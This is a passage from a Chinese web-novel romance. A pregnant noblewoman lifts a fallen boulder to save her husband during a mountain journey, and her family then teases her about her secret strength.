久违的亲密过后,再独处时夫妻二人之间多了些缠绕不清的暧昧,一连三日,苏琯璋没再让宣槿妤动过气。 他身上的咬痕和掐痕也终于彻底淡去。 端午节过后,天气终于放晴,气温也明显升高不少。 孕妇怕热,宣槿妤身上的衣裳也薄了几分,越发凸显出她的孕肚。 马车里垫了松软厚实却透气的垫子,中间还铺了一张凉簟,最上面再盖一层薄薄的被子,如此躺在上面的人既清爽而又不至于觉着过于冰凉。 马车行驶时宣槿妤躺在上面也不会轻易被颠簸到。 不过安全起见,宣槿妤坐在马车上时,苏琯璋多数是陪在她身边的。 若她烦了他,便会将他赶下马车,换婆母许玉娘或三位嫂嫂上来陪她。有时候孩子们也会在母亲或祖母的陪同下,到车厢里和小婶婶说说笑笑解解闷。 五月中旬时,他们走到了北丘府,恰逢这里进入一年的雨季。 顾名思义,北丘府多山,雨季时泥石流发生的几率极大且危险,陈阳王虎不敢冒险,一行人只得在驿站停了十余日。 等到将近六月,雨水稍歇,王虎实在不愿意再待在这狭小的驿站。 等到派去前方探路的官兵回报上峰陈阳,说道路可以通行之后,他便说服了众人,一行人便又继续南下。 这时宣槿妤肚子里的孩子已经满了五个月,又比四月时大了一小圈,先前的害喜反应已经消失,但越发嗜睡了。 好消息是,在他们遇上这扰人的雨季之前,宣槿妤已经察觉到了胎动,夫妻二人如何欣喜自不必多言。 马车“轱辘轱辘”离开了北丘府驿站,但才走不到七里地,到一处山坡时,路况便艰难起来。 山上的路官府是不会管的,这里常年在走的百姓也没那个闲钱和那份心思去修路。 一条宽阔可以容纳两辆马车并行的道路还是常年行走的商队日复一日、年复一年走出来的。 这样的路,自然也算不得好。 装了行李的马车行驶在前方,用于探路,此时车厢被颠得摇摇晃晃,偶有碰撞声传出来。 众人便明白,这种情况下宣槿妤显然不适合待在马车里,即便有苏琯璋抱着她稳着她的身子也不行。 搞不好马车撞到什么碎石烂沟侧翻,谁也不敢冒这个险。 尤其几日前他们还听说过这样一件事。 一辆经过山脚的马车,恰逢泥石流,车夫加快了马车行驶的速度,险而又险擦着死亡边缘躲过了一劫;但马车里的孕妇被颠得肚子狠狠撞在了车厢的横栏上,当即血流不止。 那名孕妇都快到生产的月份了,这一撞,孩子竟是很遗憾地没能保住,就连大人也险些救不回来。 宣槿妤下了马车,正要如往常一样趴在苏琯璋背上,却被他拦腰抱起。 “我抱着你,莫压着孩子。”苏琯璋低声道。 宣槿妤揽住他的脖子,心下嘀咕,“才不会压到孩子。”她心里都有数的。 但看着周围的人,她咽下了那句话。 反正背也好抱也好,也累不着她,且他很久没有这么长时间地抱着她了——好像上次还是刚出盛京城没多久,她吃多了怕趴着顶到胃脘,才要他抱吧? 于是宣槿妤乐得让他抱着。 不过这一抱,便抱了一路。 “你的手还好吧?”晚上在一处庄子里借宿时,宣槿妤问苏琯璋。 因为路况实在不佳,马车没有载人,老人小孩都只能靠两条腿走路。 这也导致他们今日没能赶在入夜前走到最近的驿站,幸好这处庄子的主人收留了他们。 苏琯璋已经用药酒揉过双臂,且用内力最大程度催发了药效,闻言摇了摇头,“无事。” 他用药酒也不过是为让宣槿妤安心。 要知道,他从前刚开始习武时,所有的兵器都要熟悉,一练便是一整日。 等他到了漠北,上了战场,拿着重剑和敌军拼杀起来,一日一夜不得歇也是有过的事。 先头习武用的那兵器,和他后来在战场上用的重剑,可也没比宣槿妤和她腹中孩子加起来轻多少。 听他如此说,宣槿妤便放下了心,嘀咕了一句,“你说无事就无事,今后可都要你抱着了,谁让你不肯让三哥哥抱我。” 三哥哥是她同父同母的亲兄长,便是抱她也没什么。偏生这个人,今日下午在三哥哥提出要接替他时,被他拒绝了。 苏琯璋没有说话,只眸光略淡了几分。 出于男人的占有欲,即便宣文晟真是她嫡亲兄长,他也不会让抱的。 何况,据他这几年的观察和推测,宣文晟还真不是宣家人。如此,那就决然不行。 不过,妻子显然不知道他的“阴暗”心思和宣文晟身世的事,这话便很没必要说出口。 第45章 第45章苏琯璋被埋在巨石下了!…… 又过两日。 一行人还是在连绵群山里头打转,这一回可不是陈阳故意带他们往山间钻的缘故,而是北丘府这个地方的地理特性。 这一日他们爬过了一座不高不低的山头,现下正走在下山的路上。 如前两日一样,苏琯璋也不敢再背着宣槿妤,生怕压到她肚子里的孩子。 不过他只是不敢冒险,若宣槿妤真趴上他的背部,肚子也不会碰到他。 自宣槿妤有了胎动之后,他便再不敢碰她。眼下已经素了许久,也不敢再起那等旖旎心思,倒是下意识忽略了妻子的身段。 此时宣槿妤正被他小心地抱着,跨过了拦在路上的山石。 连日暴雨才停了三日,山上的石块和泥土被冲下来了许多,听当地人说,前两日这里才有过一场泥石流。 “走快些。”宣槿妤头依靠在苏琯璋肩上,回头见他们头顶上方凸出来的岩石,有些不安。 她的直觉向来很准。 “好。”苏琯璋加快了脚步。 他高声和走在后头的人说了一声,于是后面的人也都加紧了速度。 苏 琯璋抱着宣槿妤走到了山脚,寻到一处平坦安全的位置,便将她放了下来。 他回头去看被父亲苏声背着的祖母。 十日前因为雨天路滑,苏老夫人经过驿站天井时不慎摔了一跤,还将当时正搀扶着她的苏二婶和许玉娘都带得滑倒在地。 三人皆受了些轻伤。 苏二婶和许玉娘还好,相较于苏老夫人还是年轻不少的,习武之人些许擦伤、磕碰什么的,伤势只要不到骨折的地步,也不当回事。 但苏老夫人毕竟年迈,虽然当时许玉娘给她垫了一下不至于直接磕到头,但左脚恰巧磕在回廊的石砖上,有些轻微骨折。 苏琯璋当时亲自给祖母查看的伤势,替她固定好伤处,又是敷草药又是开了药方煎了药让她喝,直到这几日她才没再说伤处在疼。 “你快去帮忙。”宣槿妤也在看苏老夫人,见公爹背得小心翼翼,忙催促苏琯璋,她自己则走到了宣文晟身边。 苏声虽然仍旧年富力强,但内里毕竟也是那等粗糙的武人心性,做不大来这种细心照顾人的活儿。 让他平日里偶尔扶一扶抱一抱苏老夫人还好,不会出什么问题。 但如今苏老夫人伤势未好全,他便有些紧张兮兮的。既想加快速度又要顾忌别让母亲伤脚被山壁两旁凸出来的山石磕碰到,瞧上去明显就是一副很有些忙乱的样子。 宣文晟也对苏琯璋颔首,让他放心过去,“妹妹交给我来照看。” 苏琯璋放了心,便三步并作两步,快速走回去,接过父亲背上的祖母,将她背到了平坦处,安置她在宣槿妤身旁坐好。 苏声松了口气,抹了把因为过于紧张而出的汗,留下来照顾苏老夫人,苏琯璋便又回头去将母亲和二婶二人依次背了过来。 她们的擦伤虽然已经不碍事了,但到底做高抬脚、跨越这种大幅度的动作还是会有点不大灵活的。 且据他观察,这一路上母亲和二婶连走路也比往常慢了许多。 他想,两名长辈当是没有好好用他给的外伤药,晚上还是要拜托嫂嫂们替她们上了药才行。 这时孩子们也被各自的爹娘抱过了拦路的大山石。 “上方的岩石可能不稳,诸位要小心些。”苏琯璋见苏家人都到了安全之处,放下了心,又转头去跟走在后头的王虎重复了一遍。 王虎应了。 没有苏家一群妇孺在前方慢吞吞地走着拖累他们的行程,一群练家子放开了脚步,走得那叫一个快速。 苏琯璋也在大步往回走。 等走过了危险之地,方才他们头上的岩石倒是没有任何动静,却从更高的峭壁处有震耳欲聋的落石滚动声传来。 等苏琯璋抬头去看时,便正见一块巨石正正地朝他迎面砸来。 他如今站着的这个位置较窄,只能容一人通行,后面都是人,前方已经被先行砸下的另一块石头挡住了去路…… “夫君!”宣槿妤失声叫道,她下意识想往前跑,却被反应十分迅速的宣文晟牢牢攥住了手腕。 “妹妹别去!” “璋小子!” “小弟!” “苏小公子?” …… 巨石狠狠砸在山路中间,底部恰好被两边的山壁卡住,但那股势不可挡的劲头还未散去,带起的余威让整座山都仿佛在震动。 仿若地动一般的波动传到不远处宣槿妤他们所待的地方,直到小半刻钟之后才停了下来。 因为这股震动,从山上滚下更多落石,方才他们一直在留意的头顶上方那块岩石果真砸了下来。 还没来得及往前跑就被巨石挡住去路的王虎等人纷纷往后退,各自找着掩体躲避,但还是有人受了伤。 庆幸的是,宣槿妤他们所在的位置确实安全,落石还不待滚到他们那处就慢慢停了下来。 山体震动导致的泥土灰尘逐渐散去。 宣文晟双眼定定地看着那块将山路堵得严严实实的巨石,生怕看到从下方流出鲜红的液体,紧攥着宣槿妤手腕的力道也不由稍稍松了松。 苏琯璋被埋在巨石下了! 宣槿妤脑中一片空白,她本能地甩开宣文晟的的手,双手捧着肚子就跑了过去,很快到了那块埋着苏琯璋的巨石前。 她想也没想,伸出双手,只一抬,那块巨石便在众人难以置信的目光中,被她提着扔到了一边。 她扔的位置恰好是山路由窄变宽通往山脚的路,巨石滚到一侧,发出沉闷的声响,撞在山壁上,停止不动了。 苏家人追上来,还没来得及为苏琯璋伤心,就已经被她惊到;尤其不清楚发生了什么事情的孩子们,纷纷张大了嘴巴。 宣槿妤眼中的泪开始落下,目光在地上搜寻着,以为她会看到血流了一地、血肉模糊的苏琯璋。 只泪眼朦胧中,她什么也看不清。 她“呜呜呜”地哭了起来,声音嘶哑,“苏琯璋”,她叫着男人的名字。 “槿妤。” 宣槿妤什么也没听见,泪水不断往下滑落,滴在地上。 找不到,她没找到苏琯璋! 宣槿妤身子慢慢往下滑,她以为自己会倒在地上。 但有人抱住了她,“槿妤,是我。”那人在她耳边说道。 这回宣槿妤听见了,也闻到了抱着她的那人身上那股她熟悉而迷恋的气息,清淡寂静得像是雪一般的气息,像极了苏琯璋这个人。 宣槿妤脑中又是一片空白。 她身子微微僵着,只觉手脚不听自己使唤,但能察觉到那人正为她擦着脸上的泪,动作十分轻柔。 “槿妤,是我。”那人锲而不舍地在她耳边说着话,叫着她的名字,“槿妤,我没死,你看看我。” 身后的苏家人喜极而泣,抱成一团。 宣文晟也是松了好大一口气,擦了擦眼角的湿润,只站在二人身后不远处看着,并不上前打扰。 王虎等禁军们本是被巨石挡住去路,但石头很快被人合力抬起清到一旁——他们以为是这样。 但看了全程的陈阳等兵部官兵们皆目瞪口呆,末了面面相觑,完全不敢相信自己方才看到了什么。 那位看着弱不禁风的、娇滴滴的、挺着大肚子的宣小少夫人,一个人,双手抬起了足有三人高的巨石,还举起来扔到了一边? 他们定是眼花了……吧? 宣小少夫人和苏小公子夫妻情深,她担心丈夫,情急之下爆发出巨大的能量,所以能做到常人所不能之事。是这样的……吧?没错……吧? 一群大男人无声地互换着眼神,试图说服自己。良久,纷纷徒劳无功地长叹口气。罢了,说服不了自己一点。 “槿妤,回神了。”苏琯璋按揉着宣槿妤的背部,同时低头含住她的唇,为她渡着气。 大悲之下本就伤身,宣槿妤还怀着孩子,现下她已经有点喘不上气来了。 “槿妤。”眼见着渡气无用,苏琯璋狠了狠心,在她手上的穴位用力一按。 骤然而来的痛楚终于将宣槿妤涣散的意识拉了回来。 苏琯璋心下一松,忙将她抱到开阔的地方,让她坐在自己腿上,他则继续揉按着她的后背,平复着她的呼吸。 苏家人和宣文晟也察觉到了宣槿妤状态的不对劲,也没敢去打扰苏琯璋的动作,只跟了上去。不过并不敢靠近,紧张地看着他替宣槿妤顺着气。 约莫大半刻钟之后,宣槿妤情绪终于平复下来,也认出了苏琯璋,扑进他怀里抱着他的脖子又大哭了一场。 “没事了,没事了。” “呜呜呜,你这臭男人。”宣槿妤边哭边控诉着,“平时对我冷着脸,……”心里还藏了人,已经足够过分。现在竟还来吓我…… 实在气不过,她张开嘴,狠狠地在他脖子内侧咬了一口,眼泪混 着血液浸湿了他的前胸后背。 因着宣槿妤的情绪过于激动,且呜呜咽咽的,她说了什么苏琯璋也没能听清,只大致听得出来她在骂他。 “槿妤,对不住,是我的错。”他十分熟练地开始道歉,“你现在身子不舒服,先不哭了好不好?” 二人正紧紧相拥,她的肚子就贴在他胸膛下方,苏琯璋已经察觉到孩子在她肚子里不安地动了好几下。 第46章 第46章宣槿妤的大秘密 母子连心,胎儿最能感知到母亲的心情,许是被宣槿妤的情绪感染,孩子动了几下之后,又大幅度地转过了身。 宣槿妤深吸一口气,也忘了哭,推开苏琯璋就捧着肚子,一副不知道该怎么办、欲哭不哭的模样。 “是不是不舒服?”苏琯璋方才也感觉到了孩子的大动作,忙给她把脉,“很疼?” 宣槿妤慢慢平静下来,闻言摇了摇头,只长长的睫毛还是湿的,配合着她此时不知所措的表情,显得娇弱又楚楚可怜。 苏家的女眷们听出了是跟孩子有关的事,不由得围了过去。 宣文晟下意识想跟过去,想起什么,走了两三步,又停了下来,跟着苏家几个男人站在人群外围,紧张地看着。 然后他便听到宣槿妤说,“不疼,但它是不是生我气了?”声音可怜巴巴的。 苏琯璋替她按揉了身上的几个穴位,替她舒缓着身子和情绪;但他也没经手过别的妇人,也没有孕子的经验,这下倒是被宣槿妤问住了。 他回忆着曾看过的医书,以及曾在长辈们、经验丰富的接生婆和奶娘们那里学来的知识,确认没学到这方面的事。 胎儿会生母亲的气吗? 他也不知道。 苏琯璋从前不擅妇科,这方面所学的医术和经验,大部分都是在刑部死牢里的那半个月里,废寝忘食看医书,还有请教宣府府医和诸位专职妇儿的妇人们才得来的。 也多亏他自幼聪敏,又过目不忘,才得以在短短的半个月里出师。 他被宣府府医亲自考校过,确认他医术不输经验丰富的妇科大夫,也担心有人做手脚,所以林清婉和宣文晟并未再找大夫一路跟着。 这一路上苏琯璋也表现得很是完美,至少大家伙有什么头疼脑热、以及宣槿妤腹中胎儿有什么情况,他都能很快处理。 但他最大的弱点便是他是男子,也没经手过有孕的妇人,对于孕妇在孕期有什么妊娠反应他常是后知后觉的。 这一点从最初宣槿妤害喜时许玉娘就看出来了。 是以她见到小儿子被小儿媳问住了,便笑着插话,“槿妤问他作甚,他个大男人又不会怀孕。” 苏老夫人也难得跟着长媳埋汰小孙子,乐呵呵附和,“就是,槿妤你不如问问我们。” 苏家的媳妇们,除了正怀着胎儿的宣槿妤,其余年老的、中年的、年轻的,这三代媳妇中最少的都生养过两胎,最是不缺妊娠的经验。 眼见着宣槿妤的情绪已经被孩子转移,开始慢慢恢复过来,三位嫂嫂也看出了苏老夫人和许玉娘的用意。 于是连忙你一言我一语地传授起了经验来,好将宣槿妤的注意力从方才那惊险绝望的事情中转移开来。 “三个月的胎儿已经成型了,五个月的时候可以听到外面的动静。”许萱娘率先说道。 常湄言点头,“这时候大人要好生注意自己的情绪,肚子里的孩子是可以感知到母亲的心情的。”她意有所指。 丁茜茜倒还记得方才将苏琯璋问倒的话,“槿妤你刚才问五弟的问题,三嫂嫂来回答你。” 她小心地将宣槿妤的手挪了位置,让她手心朝下放在腹部上,“它是不会生你气的,不过你方才哭得太狠,它在担心你。” 宣槿妤看了看三位嫂嫂,又去看苏老夫人、许玉娘和苏二婶她们,见她们纷纷点头,便安心下来。 她摸了摸肚子,温柔道:“娘亲不哭了,你别担心。” 她手下位置凸起一个小小的弧度,看形状,像是孩子的小手。 “它在和你击掌呢!”丁茜茜激动道。 孩子果真在回应她! 宣槿妤眼尾还红着,此时又拖了长长的红痕,是开心激动的。 苏琯璋紧张地看着她,却发现她眼中并没有泪,眉眼也在不知不觉间舒展了开来。 等到方才的惊险及后续终于告一段落,已经是一个时辰之后。 王虎听陈阳一行人说着方才宣小少夫人救夫的壮举,将信将疑。 若非这一路的相处,让他相信陈阳的为人,他早就在兵部这群人说什么“是宣小少夫人双手举起那块巨石”的时候,一拳挥过去了。 确定不是过于无聊而拿他们禁军解闷,借以施行报复之事?毕竟在盛京城中时,两支军队就向来不合。 “是真的。”分明事情已经过去一个多时辰,陈阳再想起那一幕时犹且还是一副神情恍惚的模样,“我也宁愿是自己看错了。” 先不说她有孕在身的事,就说她那样一个娇小姐,怎么就有那么大的力气呢? 要知道,方才他们好奇,派了十多人合力去推那巨石,也只是勉强将它推得滚动了一小圈,遑论将它举起来。 王虎看着陈阳的模样,又去看他身后官兵们如出一辙的不敢置信的神情,终于有九成相信了他们说的话。 这下神情恍惚的变成王虎了。 而这头,确认宣槿妤和她腹中胎儿都安好之后,众人就开始关心方才被“埋”在巨石后面的苏琯璋来。 “璋小子,你没受伤吧?”许玉娘围着儿子绕了一圈,见他身上连碎石灰尘都没沾到多少,更不见任何伤势,欣喜之余又是十分惊奇。 除了当时背对着山路自顾自在玩闹的孩子们,其余人可都亲眼见着那块巨石是朝着苏琯璋兜头砸下去的,而后落石引起的震动又持续了许久。 山石后方的王虎他们一群禁军,没怎么受到波及都有人为此受了伤,苏琯璋处在险情中心,却是毫发无损,真是奇事。 “石头砸下来的时候,那块岩石先被震落在地,”苏琯璋远远地给他们指了指岩石砸落后留下来的坑洞,“我当时就躲在那洞里。” 其实方才众人看到的是,山顶的巨石先落下、余震再将那块一直被他们关注着的岩石震落下来。 但这其实只是个假象。 实际上,是岩石先掉下来,垫在下方,巨石才砸到岩石上。 苏声最先转身,去看方才山路他们头顶上方的那块岩石所在的地方,果真见那里多了一个可容纳两人的坑洞。 那块岩石想是嵌在那里的,留下的坑洞像是这座山的一部分,十分坚实,怪不得连后来的震动都无法波及那处。 没料到那块让他们十分在意的岩石没有砸落成为他们的危险源,正相反,因它掉落后留下来的坑洞成了救了苏琯璋的福地。 世事果真是奇妙。 苏家人连着宣文晟都去看那坑洞,对着下方已经被巨石砸成数十段的岩石指指点点。 这样的场景很快吸引了另一头陈阳王虎两队人的注意力,纷纷好奇地走了过去。 等他们听说苏琯璋是如何脱险的时候,也加入了感慨的队伍。 苏琯璋和宣槿妤没有去凑热闹,而是还留在原地。 “我没事,别担心。”见宣槿妤盯着地上裂成数十块的碎岩石,眼中带着后怕,苏琯璋忙抱住她安慰道。 宣槿妤没有说话,只双手环住他的腰,将头贴在他胸膛上。 而感慨完苏琯璋的好运气之后,苏家人也后知后觉回过味来。 这时才想起方才,宣槿妤只双手一抬,那块瞧上去就沉重无比的巨石就被她举了起来,扔在了一旁。 “我们十五个大男人合力,也只能让这块石头滚动一小圈。”陈阳指了指地上的滚痕,告诉苏家人。 “纵然我们武功算不上绝顶,但还是有点内力在身的。”他说,“让石头滚动,是在用了内力的情况下。”陈阳继续补充。 然后他满意地从苏家人和宣文晟脸上看到和王虎同款的难以置信。 很好,纵然你们修身的涵养再高,这下终于也是忍不住变脸了吧? “你们不信的话,可以试试。”王虎方才也带人试了一次, 闻言撺掇道。 苏琯文、苏琯武这对双胞胎兄弟对视一眼,果真上前去试了一番。 他们二人习武多年,内力虽然比不上苏声,但也是十分深厚的,在同辈中是佼佼者。 再单说力气。他们和苏琯璋一样,自幼各种沉重的兵器都要拿着一练就是一天,自身在战场上对敌时用的也是重兵器。气力自不必多提。 可纵是如此,二人合力再加上内力,他们也只是让巨石缓缓挪动了一点位置;比陈阳王虎两队各十五人尝试的结果是好上一些,但那之后这石头也是纹丝不动。 厉害了,小弟妹竟如此力大无穷? 二人眼中有着默契的兴味盎然。 这事小弟知道吗? 小弟对小弟妹事事退让,打不还手,骂不还口;除了是得到他们苏家爱护妻子的传承,是否还有这个原因? 哦不不不,不行,他们怎么可以这么想风光霁月的小弟。 换个方向去想。 二人齐齐转头去看宣文晟。 宣家人定是知情的吧?不然也不会放心将他们的掌上明珠嫁入一个从老到小,代代习武的苏国公府。 说起来,宣槿妤嫁入苏家三年,被苏琯璋气到跑回娘家无数回,而宣家人从不打上门来;他们之前猜测过,以为是因为宣家人讲理且性情温厚这个十分站不住脚的理由。 如今看来,竟是因为宣槿妤藏了这么一个大秘密,他们家是知道她不可能在苏家吃到什么亏才对。 第47章 第47章小婶婶你是大力士诶! 不仅是这对双胎兄弟想明白了这件事,苏家其余大人也俱都恍然大悟。 宣文晟被苏家人齐齐看着,一个个眼里都透露着,“我明白了”“原来如此”的意味,纵然他脸皮再厚,也有些顶不住了。 他摸了摸鼻子,回头去看被苏琯璋抱在怀里的宣槿妤,心里叹气。 “妹妹啊妹妹,你的秘密守不住了。”他在心里嘀咕着。 虽然姑娘家力大无穷是件好事,但若真被世人知道,好像也没那么好。毕竟一身蛮力,和娇滴滴的世家小姐,二者放一起着实不搭。 尤其现在还有了这么明显的对比:这么多武人以自身气力加上内力都难以撼动的巨石,却被宣槿妤轻轻松松地抬了起来且举起来扔在一旁。 “小婶婶你是大力士诶!” 慕哥儿十分兴奋,他跑到大人们那里,仰起头看着差点望不到顶的巨石,还摸了摸它粗粝的表面;又跑到才退出苏琯璋怀抱的宣槿妤面前,仰头朝她笑,眼里都是崇拜。 宣槿妤这才后知后觉地发现她暴露了什么。 她抬起眼和苏琯璋对视了好一会儿,却没能在他素来清淡的眼神里看出什么情绪来。 哦,她好像忘记了,当时苏琯璋躲在坑洞里,看不到她的动作来着。 她顿时有些心虚地移开了视线。 哎呀! 一想到她的秘密就要被眼前这个男人知道,她浑身上下皆是不自在——她昨夜被他抱着洗身子都没有如此害羞。 见她脸都红了,苏琯璋若有所思地收回落在她身上的眼神,伸手将还在地上蹦蹦跳跳嘴里叫着“小婶婶,大力士”的慕哥儿抱了起来。 “慕哥儿,怎么了?为什么说小婶婶是大力士?” 宣槿妤掩耳盗铃般捂住了双耳。 嘤,她在苏琯璋心中娇小姐的形象就要不保了! 慕哥儿可不知道他小婶婶此时的想法,兴奋地张口就开始讲述方才的事情,还特意将陈阳、王虎二人的话复述了一遍。 他如今已经满了三岁,口齿十分伶俐,话还多,平日里连他亲姐姐燕姐儿都有些嫌弃他,常常让他闭嘴。 现在终于有人愿意认真听他讲话,这人还是他十分崇拜的小叔叔,讲的还是关于他平日里就很喜欢、如今晋升他崇拜人员名单第一名的小婶婶的事,他讲得便十分详尽。 慕哥儿说到兴奋处,示意苏琯璋放他下地,给他演示了一遍。 “就是这样,”慕哥儿讲了小半刻钟了还不觉疲惫,双眼亮晶晶的,“我爹爹和三叔叔都没推动那石头。” 他讲得太久,童言童语又十分清晰且可爱,早就将其余一众人的视线吸引了过来。 就连平日里嫌弃他话多的燕姐儿此时也听得津津有味,时不时点头表示赞同。 不过,身为话题中心的宣槿妤却是十分煎熬,她看着苏琯璋含笑看来的目光,真是恨不得找个地缝钻进去。 呜呜呜,她在苏琯璋心里定然不是身娇体贵的柔弱姑娘了。这样的话,以后还让她怎么心安理得地使唤他替自己做事? 哦不不不,他是她夫君,使唤他做事是应该的。 这头宣槿妤在胡思乱想,那边被提及的苏琯文和苏琯武两兄弟,便有些不满。 苏琯武忍不住纠正儿子的话,“慕哥儿,你爹爹我和你三叔叔还是将那石头推动了的,挪了这么长的距离呢!” 他冲着苏琯璋比了半臂长的距离,笑得意味深长且幸灾乐祸。 小弟妹宣槿妤真是能给人惊喜。 平日里也就只有她能治一治小弟的寡言木讷,让他那张永远没什么表情的脸上出现一点波动。 这下知晓宣槿妤还有如此大的力气,他可真好奇苏琯璋的反应。 苏琯武紧紧盯着苏琯璋的脸,不愿意放过他任何可能变化的表情。 可惜的是,他还是失望了。 苏琯璋连个眼神都没给他,只还认真听着慕哥儿说话。 对,他儿子这时候还没讲完。 “爹爹别打断我,我才要说呢!”慕哥儿牵着宣槿妤的手,不乐意地埋怨苏琯武。 周边的人都在轻笑,嘲笑苏琯武这个当爹的竟还要抢儿子的风头。 苏琯武看不成苏琯璋的笑话,反还被儿子埋怨,受到了群嘲,顿时讪讪地摸了下鼻子,不说话了。 …… 等慕哥儿意犹未尽地闭上嘴巴,所有人不约而同地长松了一口气。 谢天谢地,他可算是讲完了。 日后可不能再不让慕哥儿讲话了,看把他憋的,丁点大的娃娃,单方面讲起故事来就说了小半个时辰。 苏琯武和妻子丁茜茜苦笑着互相对视一眼。 丁茜茜感慨道:“真难为小弟这么有耐心地听他讲完。”她身为苏玉慕的娘亲,可自觉真没那个好耐性听儿子的长篇大论。 苏琯武不住地点头,也十分钦佩小弟的好耐性。 他是武将,平日里就最是厌烦旁人话多,最喜一言不合就动手。苏玉慕是他幼子,他才勉强逼着自己听完了,免得孩子伤心。 但是苏琯璋不仅全程认真地听他讲完了,还时不时喂他喝口水,免得他口干。最后还担心他站着太累,将他抱在怀里听着他讲话。 又捧场,还服务周到,可谓是给足了苏玉慕排面。 再看方才围着听的一群人,陈阳王虎他们早就不耐烦地各自散开休息去了,而苏家自己人这边,也没几个有那等耐心听完的。 除了苏琯璋和被慕哥儿牵着手不让她离开的宣槿妤,这会儿的苏家人也都坐着休息了不短的时间。 而孩子们更是昏昏欲睡地倒在大人们怀里,看上去都快要睡着了。 慕哥儿讲完了,期待地看着小叔叔和小婶婶。 苏琯璋摸了摸他的头。 宣槿妤早就破罐子破摔,干脆和苏琯璋一起听着,就当听慕哥儿讲故事了,只不过主角是她自己而已。 “慕哥儿讲得真好。”此时她看着小孩子一脸期待大人表扬的模样,心里软了几分,“才三岁就这么会讲故事,我们慕哥儿真棒!”她说得一脸真诚。 慕哥儿高高兴兴地松开了牵着宣槿妤的手,跑到爹娘面前蹦蹦跳跳的,“爹 爹娘亲,小婶婶夸我了。” 苏琯武朝宣槿妤递过去一个感激的眼神,难为她真不嫌弃儿子的话痨。 “真的啊?那慕哥儿确实很棒了。”苏琯武言不由衷地说。 丁茜茜就促狭许多,摸了摸儿子的小脑袋,“可不是,慕哥儿,你把小婶婶的形象说得这么高大,就冲这点她就不好意思不夸你。” 说着她自己就先撑不住笑了,对着宣槿妤飞过去几个看好戏的眼神,示意她去看苏琯璋的反应。 宣槿妤:“……”就知道三嫂嫂要拿她取笑,真够坏的。 她再去看苏琯璋,脑子里盘算着要说些什么才能挽回自己在他心中的形象。 可她想了好一会儿,脑中都是一片空白。 睁眼说瞎话真是太难了。 末了,宣槿妤索性扑进苏琯璋怀里,嘤嘤嘤地哭着,“夫君,你没事真的多亏上天保佑。幸好那石头自己掉下去了。” 还站在他们旁边的苏琯武、丁茜茜满脑子的问号,小弟妹/槿妤她在说什么? 苏琯璋猝不及防地将人抱了满怀,待听清楚宣槿妤在说什么之后,不由哑然失笑。 他正要开口,宣文晟已经抢了先附和起来,“对对对,还好那石头自己掉下去了。” 也不管旁人信没信,他已经开始教训起人来,“槿妤你也真是太冲动了,若非那石头自己掉下去,你就这么冲上去,万一砸到你可如何是好?” “你还是双身子呢!” 又来一个睁眼说瞎话的,苏琯武丁茜茜夫妻俩已经看麻了。 其余人也都反应过来,好笑之余,又颇感兴趣地去看苏琯璋的反应,看他要如何开口。 苏琯璋憋了好一会儿,才道:“槿妤,你方才也太冒险了。还好那石头自己掉下去了。” 许玉娘眼皮狂跳,扶着额叹息。 众目睽睽之下,宣槿妤双手抬起巨石已经是遮掩不住的事实。 若要维护她的娇小姐形象,牵强地说石头是掉下去的,宣槿妤只是恰好将手放在上面,倒也不是不行。 他们可以配合,但是倒也不必要一口一个“那石头自己掉下去了”吧? 戏过了啊! 不过她一想到苏琯璋这么多年难得睁眼说一次瞎话,能有这水平也是不错了,便也歇了那份吐槽的心思。 宣槿妤看着表情假到不能再假的苏琯璋,忍不住在他腰际掐了一把,“别说了。” 这人说起谎来虽然也不眨眼,但实在太假了。 他个冷面假人,竟如此不擅谎言,也是稀奇。照理说,这木头桩子因为脸上表情总是不变,说了假话旁人也察觉不出来才对啊? 夜里,他们歇息在了山脚下的驿站。 “你……”宣槿妤靠在苏琯璋身上,微微隆起的小腹上二人的手交叠着。 “你是不是早就知道我力气大这件事?”她小声地问。 她明明是世家千金、名门贵女,是盛京城中出了名的娇美人,却有着一身大力气,怎么想怎么难为情。 第48章 第48章这和她主动亲他有什么分…… 苏琯璋手掌比她宽厚许多,不仅能将她整只手覆盖住,还能摸到她衣下温热的隆起。 “新婚当夜我就知道了。”他说。 竟这么早! 宣槿妤坐了起来,眼睛瞪得圆圆的,“你怎么知道的?” 苏琯璋一张玉面很快浮起一层薄红。 他在害羞? 可真是稀奇啊! 宣槿妤直直地盯着他,然后便听这人说:“新婚夜我们刚成事的时候你说疼,一把将我推开了。” 他是习武之人,且武功十分不错,气力比一般的名将或民间大力士还大一些。 但那晚,新婚妻子只轻轻一推,他便被迫离开了她散发着馨香的绵软身子。 那还是他有生之年最窘迫的时候,当然,也是最无措的时候。 然后他就十分生疏且磕绊地哄起了人,直磨了许久,直到临近子时二人才将洞房花烛夜圆满完成。 宣槿妤被他灼热的目光看着,很快也想起当时的羞窘与最后的圆满来。 二人相对看着彼此,各自身上都泛起了热意。 不合时宜的暧昧丛生。 “后来我也发现,你若是生气或是情绪激动,我就能被你轻易推开。”苏琯璋继续说着,“但是平日里,你没生气的时候想把我推开,都没能推动。” 所以这也成了他判断她情绪的法子之一,不然成婚三年,她怕是一天都不想和他过下去。 “说归说,收起你的反应。” 宣槿妤掐了他一下,感受着他身下迫人的热度,脸上都要烧起来了。 自有了胎动之后,他就收敛了欲望,而她也是。 眼下这种情形,可不是做那事的时候。 “也不知道他们相信了没有,”她决定转移他的注意力,“三哥哥说的可都是实话。”宣槿妤嘟哝着。 今日那出的后续,是宣文晟面不改色地替她解释了真相,说她只是因为过于担心苏琯璋才突然爆发出的力量。 她平时并没有这么大的气力,不然也不会是这样一副弱柳扶风的娇小姐模样。 这样的解释,十分贴合陈阳他们最初试图说服自己时绞尽脑汁给宣槿妤找补的理由。 但谁也不知道,他们是否相信了。 想着她泄了一口气,算了,她才不要管了,反正陈阳王虎他们当时都带头附和了。 “原来如此,宣小少夫人和苏小公子夫妻感情果真诚挚感人。”他们这样感慨。 宣槿妤脸上又开始发烫。 “谁和他夫妻感情诚挚感人了?”她极小声地嘟哝了一句。 “槿妤,你方才说什么?”苏琯璋没有听清,只看到她嘴巴一张一合,忙问。 他近来又和前一个月的沉默寡言不同,学会了察言观色,只要宣槿妤脸色稍稍变了一点点,他都能及时察觉并发问。 进步可谓是神速,不仅苏家人惊奇,就连宣文晟也暗中打听,他们夫妻二人私下在马车里独处时都发生了什么,竟让他一个清冷玉人变得这样体贴。 苏琯璋闭口不言,面对宣槿妤之外的众人又恢复了平素时冷冷清清的模样,谁也没能从他嘴里撬得到答案。 